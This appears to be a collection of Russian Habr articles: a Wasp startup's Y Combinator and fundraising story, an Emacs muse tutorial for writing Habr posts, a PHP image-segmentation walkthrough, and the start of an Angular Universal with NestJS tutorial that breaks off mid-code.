Вы можете ознакомиться с нашим репозиторием на [github.com/wasp-lang/wasp](https://github.com/wasp-lang/wasp) и попробовать его на [wasp-lang.dev/docs](https://wasp-lang.dev/docs) -> мы всегда рады отзывам и предложениям по улучшению Wasp!
У нас также есть [сообщество](https://discord.com/invite/rzdnErX) на Discord, где мы общаемся о вещах, связанных с Wasp — присоединяйтесь к нам, чтобы узнать, чем мы занимаемся, поделиться своим мнением или получить помощь в вашем проекте Wasp.
Опыт YCombinator
----------------
*Компания Wasp стала участником YCombinator зимой 2021 года!*
Здесь мы рассказываем о нашем пути и о том, как мы попали туда, подав заявку в третий раз.
### Начало
Около 2 лет назад (начало 2019 года) мы с братом впервые задумались об идее (специфичного для конкретного домена) языка, специализированного для разработки веб-приложений в полном стеке — языка, который убирает «котел» и делает веб-разработку проще. Мы назвали его Wasp (Web App SPecification).
Проработав над ним около года в качестве пет проекта (исследование пространства, общение с потенциальными пользователями, создание прототипа, обучение), мы поняли, что для того, чтобы сделать из него что-то серьезное, нам потребуется полная самоотдача, поэтому мы уволились с текущей работы и полностью посвятили себя Wasp, начав работать над ним, чтобы посмотреть, как далеко мы сможем продвинуться.
### Опыт YCombinator
Из-за характера Wasp (открытый исходный код, веб-фреймворк/язык) мы понимали, что в какой-то момент нам понадобится привлечь средства, если мы хотим выжить. Ранее у нас был свой стартап, и мы работали в нескольких стартапах в прошлом, поэтому мы уже знали достаточно много о том, как это делать и чего ожидать.
Поэтому, как только мы начали работать на полную ставку (начало 2020 года), мы сразу же подали заявку в YCombinator (лучший стартап-акселератор в мире). Вскоре нас пригласили в США (мы из Европы) на финальное очное собеседование!
Мы потратили недели на подготовку к интервью, оттачивая нашу подачу, видение, бизнес-план, понимание наших пользователей, делая макеты интервью — все ради этих решающих 10 минут (да, интервью длится всего 10 минут!). В итоге мы не прошли финальное собеседование, но получили обнадеживающие отзывы о том, что, хотя мы еще слишком рано, у нас есть потенциал и нам стоит попробовать подать заявку снова, когда мы добьемся большего прогресса. Для нас это имело большой смысл, так как у нас был только очень простой прототип и небольшая тяга.
Мы решили продолжить работу над Wasp еще некоторое время и продолжить подавать заявки в YC и общаться с другими интересными акселераторами/инвесторами, и посмотреть, к чему это нас приведет — если ничего другого, мы многому научимся по пути :)!
Спустя полгода, добившись прогресса с разных сторон, мы прошли второе собеседование (на этот раз онлайн благодаря Covid), и хотя мы чувствовали, что были очень близки, нас все равно не взяли — они хотели увидеть больше динамики, больше доказательств того, что людям это нужно.
Наконец, к осени 2020 года мы были в положении, когда выпустили раннюю альфа-версию Wasp, сумели построить начальное сообщество (>50 человек в Discord, 500 звезд на Github) и попали в «Продукт дня» на Product Hunt. Со всем этим мы подали заявку на участие в YC в третий раз и попали туда!
Интересный факт: если вы подавали заявку в YC ранее и получили отказ, это будет плюсом, когда вы подадите заявку в следующий раз (это показывает настойчивость, и они видят ваш прогресс). Кроме того, хотя мы потратили значительное время на подготовку к собеседованию с YC, вся эта подготовка помогла нам лучше понять нашу идею, что действительно нужно нашим пользователям (разработчикам) и как правильно это преподнести, так что это стоило того, независимо от результата собеседования.
### Что теперь?
Сейчас (февраль 2020 года) мы находимся в середине программы YCombinator, создаем сообщество, общаемся с разработчиками и развиваем Wasp в направлении бета-версии.
Нас по-прежнему только двое, и Wasp находится на ранней стадии, но с удивительными членами сообщества на нашей стороне и с поддержкой YC мы не боимся мечтать о большом!
Наши уроки по привлечению средств — 250+ встреч за 98 дней до переподписки на раунд.
------------------------------------------------------------------------------------
Wasp — это язык конфигурации (DSL) для создания полностековых веб-приложений с меньшим количеством кода и лучшими практиками, который работает вместе с React и Node.js. Наша миссия — упростить разработку веб-приложений и дать разработчикам возможность продолжать использовать силу кода и свои любимые инструменты. Нас поддерживают Y Combinator и инженеры из Airbnb, Facebook и Lyft.
[Мы находимся в стадии Alpha (попробуйте)!](https://wasp-lang.dev/docs) → [Присоединяйтесь к нашему сообществу](https://discord.gg/rzdnErX) → [Работайте с нами](https://wasp-lang.notion.site/Founding-Engineer-at-Wasp-402274568afa4d7eb7f428f8fa2c0816)
После окончания зимнего батча 2021 года от Y Combinator, мы очень рады сообщить, что Wasp собрала 1,5 миллиона долларов в нашем первом раунде финансирования! Возглавляет раунд Lunar Ventures, к нему присоединяется HV Capital.([Статья на TechCrunch](https://techcrunch.com/2021/10/04/yc-grads-wasp-land-1-5m-seed-to-help-developers-build-web-apps-faster/))
На момент проведения Demo Day наш продукт имел солидную популярность (200+ созданных проектов, 1k звезд на Github, хорошие отзывы на [ProductHunt](https://www.producthunt.com/posts/wasp-lang-alpha) и [HackerNews](https://news.ycombinator.com/item?id=26091956)), но еще не был монетизирован, что типично для проектов с открытым исходным кодом на этой стадии. Находясь в ЕС, мы также не имели связей в Bay Area до сбора средств.
> ВНИМАНИЕ
>
> Я постараюсь воздержаться от «общих» советов (поскольку наш сбор средств — это одна точка данных) и сосредоточусь на статистике и конкретных вещах, которые сработали для нас. Имейте в виду, что то же самое может не сработать для вас — я рекомендую всегда принимать советы с щепоткой соли, чтобы понять, что имеет наибольший смысл в вашем случае.
Когда мы подходили к сбору средств, мы не знали, чего ожидать. У нас были друзья из предыдущего раунда, которые очень быстро собрали большой раунд (еще до Demo Day), и мы слышали пару историй от нескольких других основателей YC, которые также были довольно успешны, поэтому мы представляли, что и для нас все пройдет быстро.
Как видно из названия, у нас было довольно насыщенное путешествие с большим количеством встреч, на которых мы получили много информации о том, как улучшить нашу презентацию, и, что еще важнее, как найти нужных инвесторов.
Вот наша статистика:
* мы поговорили с **212 инвесторами** → это привело к **250+ встречам**
* **98 дней** прошло между первой и последней подписью SAFE
* **171** инвестор прошел мимо, **24** не ответили, **17** инвестировали.
А вот как все это выглядит на графике:
Вот некоторые вещи, которые сработали для нас:
### Мы относились к сбору средств как к процессу продаж (и придерживались его)
*Воронка сбора средств Wasp*
Это означает, что у нас была типичная воронка продаж — генерация лидов, продажа (питчинг) и последующие действия:
* **Генерация лидов:** все началось, конечно же, с Demo Day, с которого мы получили 100+ лидов, но ни один из них в итоге не инвестировал (подробнее об этом ниже). После этого мы в основном полагались на наших товарищей по раунду YC в определении подходящих инвесторов и получении представлений.
* **Питчинг:** мы провели разговорный питч без доски, но у нас был одностраничник Notion, из которого я выкладывал ссылки во время разговора (например, на наш график трафика, отзывы пользователей и т.д.). Это также хорошо сработало, поскольку инвесторы обычно находили это интересным и продолжали пролистывать по ходу разговора, задавая последующие вопросы.
* **Последующие действия:** мы проводили их раз в неделю. Обычно я «пакетно обрабатывал» их каждую среду. Мы использовали Streak для выявления всех потенциальных клиентов, от которых не было вестей более 7 дней (для этого есть фильтр), а затем вручную отправляли им электронные письма.
Мы начали с того, что отслеживали все в Google Sheets, но при большом количестве предложений вскоре стало трудно ориентироваться в их воронке. Затем мы перешли на Streak (использовали их шаблон для сбора средств и немного изменили его), и это отлично сработало. Самым полезным для меня было наличие CRM, интегрированной с gmail, что сделало процесс гораздо более плавным и дало нам лучший обзор воронки. Как только я получал письмо, я видел, на какой стадии находится инвестор, а также было очень легко добавлять новых инвесторов прямо из gmail — это избавляло нас от ужасного переключения контекста и позволяло сосредоточиться.
### Наш питч стал намного лучше после ~50 встреч
Мы продолжали критически относиться к своему питчу и составляли список вопросов, над которыми, по нашему мнению, нужно было еще поработать. Мы назвали это «созданием повествования», например, почему для нашего продукта сейчас самое подходящее время, представление команды или как мы планируем монетизировать. Мы разговаривали с другими компаниями в том же пространстве (devtools, OSS), изучали сравнения (крупные компании, с которыми мы сравнивали себя), разговаривали с нашими ангелами, которые были экспертами в своей области, и использовали все это для создания более убедительной истории.
Я никогда не планировал выучить наш питч наизусть, но после того, как я произнес его сотни раз, это произошло — и я, и Мартин (мой брат и соучредитель, который не выступал, но всегда сидел позади меня и давал обратную связь, особенно в начале) знали его слово в слово, и я понял, насколько более отшлифованно он звучит и насколько увереннее я себя чувствую по сравнению с тем, когда мы только начинали.
### Нашей целью было дойти до 100 «нет»
После примерно 50 встреч (и примерно 20 венчурных компаний, которые отказались от нас) мы начали чувствовать себя немного разочарованными, поскольку все шло не так легко, как мы изначально ожидали. Затем я пообщался с другом, который также недавно закончил сбор средств, и он устроил мне экскурсию по Streak — я увидел их цифры и то, что более 150 инвесторов прошли мимо них! После этого я понял, что наши 20 проходов — это только начало и что вместо того, чтобы гнаться за «да», мы должны гнаться за «нет» :) — Они более предсказуемы, вы получите их много, и они четко покажут ваш прогресс.
### У нас было 100 с лишним лидов с Demo day — ни один из них не инвестировал
Возможно, это довольно специфично для нашего случая, но все было именно так. Связь со стартапом на Demo Day — это очень малозатратное действие для инвесторов. Кроме того, как бы много инвесторов ни было на Demo Day, их еще больше.
Когда мы отсортировали полученные связи, около 20% оказались действительно подходящими для нас, то есть они инвестируют в компании deep tech / OSS, инвестировали недавно, инвестируют на нашей стадии и т.д.
Мы по-прежнему встречались практически со всеми заинтересованными лидами, но быстро поняли, что из-за того, что наш продукт является глубоко техническим, а компания — преддоходной, только инвесторы с инженерным образованием были действительно заинтересованы, потому что они могли понять и увлечься тем, что мы делаем. Это подтолкнуло нас к тому, чтобы генерировать лиды с гораздо более узкой направленностью.
Мы изучили другие компании OSS и dev tools из нашей группы, посмотрели, кто инвестировал в них, и попросили о знакомстве. Наши товарищи по раунду тоже были в режиме сбора средств, они знали, как это может быть трудно, и хотели помочь, поэтому все продвигалось очень быстро.
### Мы научились не тратить время на неверующих
Когда мы научились фокусироваться на высококвалифицированных лидах, мы также поняли, что очень трудно (невозможно) изменить чье-то мнение. Многим инвесторам понравились мы и то, что мы делаем, но они скептически относились, например, к размеру рынка или потенциалу монетизации и дали это понять с самого начала. Многие из них хотели продолжить общение, хотели встретиться с нашими ангелами-инвесторами и т.д., но все это не помогло изменить их мнение, и это очень отвлекало нас. Я считаю, что очень трудно изменить чье-то мировоззрение, особенно на начальном этапе, когда зачастую нет весомых фактических доказательств.
### Прохождение через «долину смерти»
Как вы видите на графике, примерно за два месяца мы едва перевалили за $300 тыс. и целый месяц не имели никакого прогресса. В то же время мы чувствовали, что наш питч стал значительно лучше, и мы обращались к инвесторам, которые нам больше подходили. Это было одно из самых трудных времен, когда мы видели, как другие закрывают свои раунды, но мы решили довериться процессу и продолжать идти вперед, пока не используя все ресурсы, которые у нас были. В это же время наш ведущий инвестор потратил время на проведение собственной тщательной проверки Wasp, поэтому, хотя со стороны кажется, что никакого прогресса не было, на самом деле многое происходило за кулисами.
Внезапно несколько вещей сошлись воедино с разных сторон, и наш раунд был быстро закрыт! Это было поистине волшебное чувство — начать привлекать инвесторов за один день, даже во время первого звонка, когда раньше нам требовались недели, чтобы закрыть первый чек на 50 тысяч долларов. Немаловажным фактором было и то, что наш раунд заполнялся, и это, конечно, мотивировало инвесторов действовать быстрее.
### Мы сравнивали себя с крупными, успешными компаниями
Это один из лучших советов по привлечению средств, который мы получили от партнеров YC. Вначале мы не понимали, насколько это важно, но как только начались встречи, мы поняли, что это один из лучших способов объяснить инвесторам потенциал нашей компании. Учитывая инновации в технологии, которые не так просто понять, им нужно было за что-то зацепиться, чтобы понять, как может работать бизнес-модель и дистрибуция, и это звучит гораздо более выполнимо, если есть руководство к действию, которому мы можем следовать, а не изобретать его заново. Мы продолжали работать над тем, чтобы найти хорошее сравнение (у нас их было несколько) и объяснить, в чем мы похожи и почему.
### Удачи — у вас все получится!
Я надеюсь, что эта статья была вам полезна и что наша история послужит вам стимулом для продолжения работы в трудную минуту! Мы желаем вам удачи, а также не стесняйтесь обращаться к нам, если у вас возникнут вопросы.
---
Следите за новостями **YC Startup Library на русском** [в телеграм-канале](https://t.me/yclibrary).
### Полезные материалы
* [150+ историй основателей стартапов из YC](https://foundersatwork.io/)
* [Подборка 143 переводов эссе Пола Грэма (из 184)](https://habr.com/ru/company/engelbart/blog/484114/)
* [75 лекций на русском от Y Combinator (из 172)](https://habr.com/ru/post/529224/)
* [Y Combinator: русскоговорящие основатели](https://habr.com/ru/post/528498/)
* [Какие стартапы ищет Y Combinator в 2020 году](https://habr.com/ru/post/489200/)
* [Чат Y Combinator in Russian](https://t.me/siliconpravdachat)
* [Паблик в фейсбуке YCombinator in Russian](https://www.facebook.com/groups/547726792364028) | https://habr.com/ru/post/594267/ | null | ru | null |
# Emacs для начинающих: Подготовка статей для Хабра в Emacs
##### Введение
Мы уже много говорили о мощи Emacs. Давайте решим какую-нибудь практическую задачу. Например научимся готовить тексты статей для Хабра с минимумом ручной работы.
Прикинем, что нам нужно:
* Преобразование текста в HTML
* Спеллчекер
* Подсветка синтаксиса текстов программ разных языков
Приступаем.
##### Преобразование текста в HTML: режим muse
Самый традиционный UNIX-вэй. Суть в том, что пишем статью в текстовом виде, соблюдая некоторые соглашения, достаточно простые, такие простейшие правила разметки, а потом обрабатываем этот текст парсером, который превращает наш текст в HTML файл, который мы и вставляем в форму редактирования статьи Хабра.
##### Установка
В Debian/Ubuntu пакет с этим режимом называется **muse-el**. Итак:
```
apt-get muse-el
```
В .emacs добавляем:
```
(require 'muse)
(require 'muse-html)
```
Теперь можно включать режим muse:
```
M-x muse-mode
```
##### Разметка
Разметка при работе с muse очень простая, так например если строку начать со звездочки, или несокольких, при трансляции muse превратит эту строку в заголовок с уровнем, равным количеству звездочек. Например так:
```
* Заголовок первого уровня
** Заголовок второго уровня
```
Для того, чтобы сделать параграф, нужно оставить пустую строку в
тексте. Для того, чтобы выделить слово, надо обрамить его одной, двумя
или тремя звездочками:
```
*выделенное слово* **сильнее** ***еще сильнее*** _подчеркнутое_ =моноспейс=
```
*выделенное слово* **сильнее** ***еще сильнее*** подчеркнутое `моноспейс`
Можно делать таблицы:
```
Двойноя черта || Разделяет поля заголовка
Одиночная черта | Разделяет поля тела таблицы
Еще один ряд | тела таблицы
Тройная черта || Разделяет поля футера
```
| Двойноя черта | Разделяет поля заголовка |
| --- | --- |
| Одиночная черта | Разделяет поля тела таблицы |
| Еще один ряд | тела таблицы |
##### Спеллчекер: flyspell
В Ubuntu 9.04 flyspell входит в emacs. Так что:
```
M-x flyspell-mode
```
и спеллинг проверяется на лету.
##### Форматирование исходных текстов программ: muse + python
Есть встроенный перевод исходных текстов программ в HTML при помощи пакета htmlizer.el, но к сожалению в Хабре такой HTML не показывается. Придется извращаться.
Хорошо переводит исходники в HTML утилита code2html, но ее выход нужно немножко подправить, чтобы текст программы хорошо выглядел в Хабре. А именно, вставить вместо лидирующих пробелов &nobsp
Для этого пишем небольшую функцию на Python. Затем в текст статьи вставляем тэг вызова интерпретатора питона, текст программы и вызов нашей функции, Примерно так:
```
import srcform
src = """
i = 1
while i < 10:
print i
i += 1
"""
srcform.src\_form('code2html -lpython -H -t4',src)
```
Результат работы:
i = 1
**while** i < 10:
**print** i
i += 1
##### Преобразование в HTML
```
M-x muse-publish-this-file
Publish with style: html
```
##### Проблемы
При работе с muse пришлось встретится с некоторыми проблемами.
1. В режиме muse-mode в faces для отображения заголовков указан фонт helv. Но в нем нет русских символов. Если кастомизируем faces, muse при включении все равно переписывает значения настроек для faces. Пришлось сделать функцию-обертку, в которой после установки режима muse-mode опять переконфигурируются faces.
2. Хабр не отображает одиночную цифру 0 (ноль), расцвеченную таким образом.
В комментах [alexott](http://alexott.habrahabr.ru/) подсказал решение проблемы 1. Нужно в face 'variable-pitch' заменить фонт 'helv' на какой-нибудь другой, например 'fixed-misc' или 'arial'.
Если кто не знает, то делается это легче всего так. Набираем команду:
```
M-x describe-face variable-pitch
```
В полученном описании face щелкаем по ссылке '(customize this face)'. В появившемся буфере кастомизации меняем значение в поле 'Font family' с 'helv' на то, что Вам нужно, например на 'arial'. Теперь нажимаем на кнопочку 'Save for Future Sessions'. Команды изменения face будут дописаны в конец Вашего файла .emacs .
##### Приложение
Текст скрипта для вызова утилиты.
**import** subprocess
def src\_form(command,in\_src):
in\_str = in\_src
proc = subprocess.Popen([command],
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,)
stdout\_value = proc.communicate(in\_str)[0]
lines\_in = stdout\_value.splitlines()
lines\_out = []
**print** ""
**for** line **in** lines\_in:
l\_out = ""
l\_out = line.lstrip()
spaces = len(line) - len(l\_out)
**for** j **in** xrange(spaces):
l\_out = " " + l\_out
**print** l\_out
**print** "" | https://habr.com/ru/post/60215/ | null | ru | null |
# Пример сегментации изображений средствами PHP
Добрый день,
довольно редко, но все же встает вопрос о необходимости в автоматическом режиме делить изображение на логические фрагменты. Если вы ограничены только средствами PHP, то задача становится немного трудней, но все же решаема.
В данной статье я рассмотрю частный случай распознавания образов, ориентированный на не слишком изощренную публику.
В статье используются примеры с одного из сайтов с явным указанием ссылки, сайт не мой, изначально не было мыслей писать статью.
#### Итак, рассмотрим исходные данные
Прямоугольные картинки разного размера и пропорций, с белым фоном, на которых изображены фигурки киндер сюрприза и water mark, который иногда касается фигурок. Задача — получить картинки фигурок без water mark'a
Изображения довольно простые, поэтому из всего спектра возможных вариантов (ссылки указаны в конце статьи) разумно применить **метод разрастания областей**. Его суть в том, что мы первоначально тыкаем в произвольную точку и сравниваем цвет соседних пикселей, в нашем случае критерий схожести — цвет не должен быть белым. Если цвет не белый, мы запоминаем координаты пикселя и сравниваем его соседей, таким образом наша область расползается, пока не будет достигнут край сегмента. Затем мы тыкаем в следующую точку и так далее. Всем понятно, что тыкать совершенно рандомно, это не самый оптимальный путь так как можно долго перебирать пустые пиксели. Этот способ называют еще **метод выжженной земли**.
#### Интерация 1. Выбор не белых областей
На этом шаге мы получаем высоту и ширину исходной картинки и в двойном цикле попиксельно считываем цвет. Все данные заносим в двойной массив, если пиксель белый ставим 0, если не белый, ставим единичку. Выводим данные на экран для наглядности и что бы проверить, не ошиблись ли мы.
**PHP код**
```
$path = '../images/series/9/1.jpg';
$size = getimagesize($path);
$img = imagecreatefromjpeg($path);
$x = 1;
$y = 1;
$color = array();
for ($i = 1; $i < $size[0] * $size[1]; $i++) {
$color_index = imagecolorat($img, $x, $y); //16777215
// делаем его удобочитаемым
$color_tran = imagecolorsforindex($img, $color_index);
if (($color_tran['red'] == 0 && $color_tran['green'] == 0 && $color_tran['blue'] == 0)
or
($color_tran['red'] <= 255 && $color_tran['red'] >= 235 &&
$color_tran['green'] <= 255 && $color_tran['green'] >= 235 &&
$color_tran['blue'] <= 255 && $color_tran['blue'] >= 235)
or
($color_tran['red'] >= 190 && $color_tran['red'] <= 230 &&
$color_tran['green'] >= 225 && $color_tran['green'] <= 245 &&
$color_tran['blue'] >= 245 && $color_tran['blue'] <= 255)
) {
$color[$x][$y] = 0;
} else {
$color[$x][$y] = 1;
}
$x++;
if ($x > $size[0]) {
$x = 1;
$y++;
}
}
```
В приведенном коде отбрасывается соседний пиксель если он близок к белому, так как на входе у нас jpg не самого лучшего качества.
Закрасим теперь полученные области на исходном изображении.
Как видно сейчас наш алгоритм цепляет кусочки мусора (поэтому в вышеприведенном коде и есть фильтрация по цвету)
#### Ошибочный подход, попытка выделения граничных областей сегментов
У каждого из сегментов можно определить его граничные точки, для границы сегмента с левой стороны это будут точки у которых нет цветного пикселя слева, аналогичным образом для верхней, нижней, правой границы.
Пробуем реализовать
Шлифуем
Еще шлифуем, на следующей картинке уже более-менее приемлемый результат, хотя все еще захвачено много пикселей по ошибке
Теперь если мы закрасим все цветные точки внутри данных ограничений, то получим в результате картинку, на которой уже можно понять, что это смурфы)
Со стороны человеческого взгляда эти сегменты уже можно однозначно разделить, но со стороны нашего алгоритма это все еще массив единичек и ноликов, а так же массив ноликов и единиц – только границ сегментов (но сейчас это все еще 1 массив и основной вопрос в том, как разделить его в соответствии с сегментами).
На исходном изображении можно видеть явные белые пробелы между сегментами, попробуем разделить сегменты по принципу: «Если у нас есть большие разрывы (больше чем N) между закрашенными сегментами, то делим пиксели в основном массиве по левую и правую сторону от разрыва».
Далее таким же образом мы можем сделать горизонтальные разрывы, но их сделать сложнее из-за надписи по центру картинки.
Но на этом моменте я понял, что двигаюсь не в том направлении, поэтому закончил данные эксперименты.
Итак, возвращаемся к исходам – у нас есть большой массив единиц – цветные пиксели, как их разделить на сегменты?
#### Метод разрастания областей
Краткое описание дано выше (в начале статьи), поэтому приступим сразу к делу.
Поджигаем смурфа, ясно, что весь процесс идет через рекурсию, раскрасим блоки интераций в свои цвета.
**PHP код**
```
function nburn($ret, $color, $img, $col = false) {
$ret_arr = array();
foreach ($ret as $k => $v) {
foreach ($v as $k2 => $v2) {
$ret_arr['numb'] = get_nearleast($color, $k, $k2);
$stop = false;
if (count($ret_arr['numb']) > 0) {
if (count($ret_arr['numb']) == 1) // 1- потому что только точка сама возвращается
$stop = true;
else
$toys[] = array();
}
if (!$stop) {
while (count($ret_arr['numb']) > 0) {
$x = key($ret_arr['numb']);
$y = key($ret_arr['numb'][$x]);
$toys[key($toys)][$x][$y] = 1;
unset($ret_arr['numb'][$x][$y]);
if (count($ret_arr['numb'][$x]) == 0)
unset($ret_arr['numb'][$x]);
unset($color[$x][$y]);
// Берем следующий элемент
$x = key($ret_arr['numb']);
if ($x == "")
break;
$y = key($ret_arr['numb'][$x]);
$near = get_nearleast($color, $x, $y);
foreach ($near as $f => $g) {
foreach ($g as $f2 => $g2) {
$ret_arr['numb'][$f][$f2] = 1;
}
}
}
next($toys);
}
}
}
return $toys;
}
```
С помощью данной функции массив с пикселями разбивается на множество подмассивов (многомерный массив). Каждый под массив соответствует одному сегментированному изображению. Далее, анализируя полученные подмассивы мы можем удалить самый широкий массив, который соответствует надписи.
Всем известный пример, я думаю все угадали персонажа.
Тем не менее, иногда алгоритм срабатывает неверно. Например в следующей картинке первая фигурка разделена на две из-за слишком белого предмета в руках персонажа. В таких случаях нужна либо более тонкая настройка по отсеиваемым цветам, либо ручная корректировка.
Размещенный код писался для себя, поэтому, скорее всего, есть более элегантные решения.
Ссылки по теме:
* [Википедия](http://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D0%B3%D0%BC%D0%B5%D0%BD%D1%82%D0%B0%D1%86%D0%B8%D1%8F_%28%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9%29)
* [habrahabr.ru/post/81279](http://habrahabr.ru/post/81279/) Сегментация изображений на графах
* [habrahabr.ru/post/128768](http://habrahabr.ru/post/128768/) Мат. модели сегментации изображений
**UPD**
Спасибо всем, кто плюсует. | https://habr.com/ru/post/189068/ | null | ru | null |
# Пишем full stack монолит с помощью Angular Universal + NestJS + PostgreSQL
##### Привет, Хабр!
В этой статье мы создадим готовый шаблон-монолит, который можно брать за основу нового fullstack приложения как скелет для навешивания функционала.
#### Эта статья будет полезна, если вы:
* Начинающий fullstack-разработчик;
* Стартапер, который пишет MVP чтобы проверить гипотезу.
#### Почему выбрал такой стек:
* Angular: имею много опыта в нем, люблю строгую архитектуру и Typescript из коробки, выходец из .NET
* NestJS: тот же язык, та же архитектура, быстрое написание REST API, возможность в дальнейшем пересесть на Serverless (дешевле виртуалки)
* PostgreSQL: Собираюсь хоститься в Яндекс.Облаке, на минималках [дешевле на 30% чем MongoDB](https://cloud.yandex.ru/prices)
Прежде чем написать статью, поискал на Хабре статьи про подобный кейс, нашел следующее:
* [Angular и SEO: как их подружить?](https://habr.com/ru/post/423739/)
* [Firebase + Angular Universal = невозможное возможно](https://habr.com/ru/post/341044/)
* [Дружим Angular с Google (Angular Universal)](https://habr.com/ru/post/324926/)
* [Удивительный Angular](https://habr.com/ru/post/348818/)
Из этого ничего не описывает "скопировал и вставил" или дает ссылки на то что еще нужно дорабатывать.
#### Оглавление:
[1. Создаем Angular приложение и добавляем библиотеку компонентов ng-zorro](#step_one)
[2. Устанавливаем NestJS и решаем проблемы с SSR](#step_two)
[3. Делаем API на NestJS и подключаем к фронту](#step_three)
[4. Подключаем базу данных PostgreSQL](#step_fouth)
#### 1. Создаем Angular приложение
Установим Angular-CLI чтобы создавать SPA-сайты на Ангуляре:
```
npm install -g @angular/cli
```
Создадим Angular приложение с помощью следующей команды:
```
ng new angular-habr-nestjs
```
Далее переходим в папку приложения и запускаем, чтобы проверить работоспособность:
```
cd angular-habr-nestjs
ng serve --open
```
Приложение создалось. Подключаем библиотеку NG-Zorro:
```
ng add ng-zorro-antd
```
Далее выбираем следующие конфигурации библиотеки:
```
? Enable icon dynamic loading [ Detail: https://ng.ant.design/components/icon/en ] Yes
? Set up custom theme file [ Detail: https://ng.ant.design/docs/customize-theme/en ] No
? Choose your locale code: ru_RU
? Choose template to create project: sidemenu
```
Эта конфигурация заменит содержимое app.component на дизайн с менюшкой слева, футером и хедером и подключит локализацию на русском языке:
В данной статье мы отобразим список данных для наглядности, поэтому добавим простенькую табличку в компоненте *src/app/pages/welcome*, который сгенерил NG-Zorro:
Пример взят [отсюда](https://ng.ant.design/components/table/en)
```
// welcome.component.html
| Name | Age | Address |
| --- | --- | --- |
| {{ data.name }} | {{ data.age }} | {{ data.address }} |
```
```
// welcome.module.ts
import { NgModule } from '@angular/core';
import { WelcomeRoutingModule } from './welcome-routing.module';
import { WelcomeComponent } from './welcome.component';
import { NzTableModule } from 'ng-zorro-antd';
import { CommonModule } from '@angular/common';
@NgModule({
imports: [
WelcomeRoutingModule,
NzTableModule, // Добавили для таблицы
CommonModule // Добавили для пайпа async
],
declarations: [WelcomeComponent],
exports: [WelcomeComponent]
})
export class WelcomeModule {
}
```
```
// welcome.component.ts
import { Component, OnInit } from '@angular/core';
import { Observable, of } from 'rxjs';
import { HttpClient } from '@angular/common/http';
import { share } from 'rxjs/operators';
@Component({
selector: 'app-welcome',
templateUrl: './welcome.component.html',
styleUrls: ['./welcome.component.scss']
})
export class WelcomeComponent implements OnInit {
items$: Observable = of([
{name: 'Вася', age: 24, address: 'Москва'},
{name: 'Петя', age: 23, address: 'Лондон'},
{name: 'Миша', age: 21, address: 'Париж'},
{name: 'Вова', age: 23, address: 'Сидней'}
]);
constructor(private http: HttpClient) {
}
ngOnInit() {
}
// Сразу напишем метод к бэку, понадобится позже
getItems(): Observable {
return this.http.get('/api/items').pipe(share());
}
}
interface Item {
name: string;
age: number;
address: string;
}
```
Получилось следующее:
#### 2. Устанавливаем NestJS
Далее установим NestJS таким образом, чтобы он предоставил Angular Universal (Server Side Rendering) из коробки и напишем пару ендпоинтов.
```
ng add @nestjs/ng-universal
```
После установки, запускаем наш SSR с помощью команды:
```
npm run serve
```
И вот уже первый косяк :) У нас появляется следующая ошибка:
```
TypeError: Cannot read property 'indexOf' of undefined
at D:\Projects\angular-habr-nestjs\node_modules\@nestjs\ng-universal\dist\utils\setup-universal.utils.js:35:43
at D:\Projects\angular-habr-nestjs\dist\server\main.js:107572:13
at View.engine (D:\Projects\angular-habr-nestjs\node_modules\@nestjs\ng-universal\dist\utils\setup-universal.utils.js:30:11)
at View.render (D:\Projects\angular-habr-nestjs\node_modules\express\lib\view.js:135:8)
at tryRender (D:\Projects\angular-habr-nestjs\node_modules\express\lib\application.js:640:10)
at Function.render (D:\Projects\angular-habr-nestjs\node_modules\express\lib\application.js:592:3)
at ServerResponse.render (D:\Projects\angular-habr-nestjs\node_modules\express\lib\response.js:1012:7)
at D:\Projects\angular-habr-nestjs\node_modules\@nestjs\ng-universal\dist\angular-universal.module.js:60:66
at Layer.handle [as handle_request] (D:\Projects\angular-habr-nestjs\node_modules\express\lib\router\layer.js:95:5)
at next (D:\Projects\angular-habr-nestjs\node_modules\express\lib\router\route.js:137:13)
```
Чтобы решить косяк, зайдем в файл *server/app.module.ts* и поменяем значение *liveReload* на false:
```
import { Module } from '@nestjs/common';
import { AngularUniversalModule } from '@nestjs/ng-universal';
import { join } from 'path';
@Module({
imports: [
AngularUniversalModule.forRoot({
viewsPath: join(process.cwd(), 'dist/browser'),
bundle: require('../server/main'),
liveReload: false
})
]
})
export class ApplicationModule {}
```
Также подтюним конфиг тайпскрипта, так-как эта конфигурация не взлетает с использованием Ivy рендера:
```
// tsconfig.server.json
{
"extends": "./tsconfig.app.json",
"compilerOptions": {
"outDir": "./out-tsc/server",
"target": "es2016",
"types": [
"node"
]
},
"files": [
"src/main.server.ts"
],
"angularCompilerOptions": {
"enableIvy": false, // Добавили флажок
"entryModule": "./src/app/app.server.module#AppServerModule"
}
}
```
После пересоберем приложение командой ng run serve чтобы SSR заработал.
Ура! SSR подрубился, но как видимо в devtools он приходит с кривыми стилями.
Добавим *extractCss: true*, который позволит выносить стили не в *styles.js*, а в *styles.css*:
```
// angular.json
...
"architect": {
"build": {
"builder": "@angular-devkit/build-angular:browser",
"options": {
"outputPath": "dist/browser",
"index": "src/index.html",
"main": "src/main.ts",
"polyfills": "src/polyfills.ts",
"tsConfig": "tsconfig.app.json",
"aot": true,
"assets": [
"src/favicon.ico",
"src/assets",
{
"glob": "**/*",
"input": "./node_modules/@ant-design/icons-angular/src/inline-svg/",
"output": "/assets/"
}
],
"extractCss": true, // Добавили флажок
"styles": [
"./node_modules/ng-zorro-antd/ng-zorro-antd.min.css",
"src/styles.scss"
],
"scripts": []
},
...
```
Также подключим стили библиотеки в *app.component.scss*:
```
// app.component.scss
@import "~ng-zorro-antd/ng-zorro-antd.min.css"; // Подключили стили
:host {
display: flex;
text-rendering: optimizeLegibility;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.app-layout {
height: 100vh;
}
...
```
Теперь стили подключены, SSR отдает страничку со стилями, но мы видим что сначала у нас грузится SSR, потом страница моргает и отрисовывается CSR (Client Side Rendering). Это решается следующим способом:
```
import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
const routes: Routes = [
{ path: '', pathMatch: 'full', redirectTo: '/welcome' },
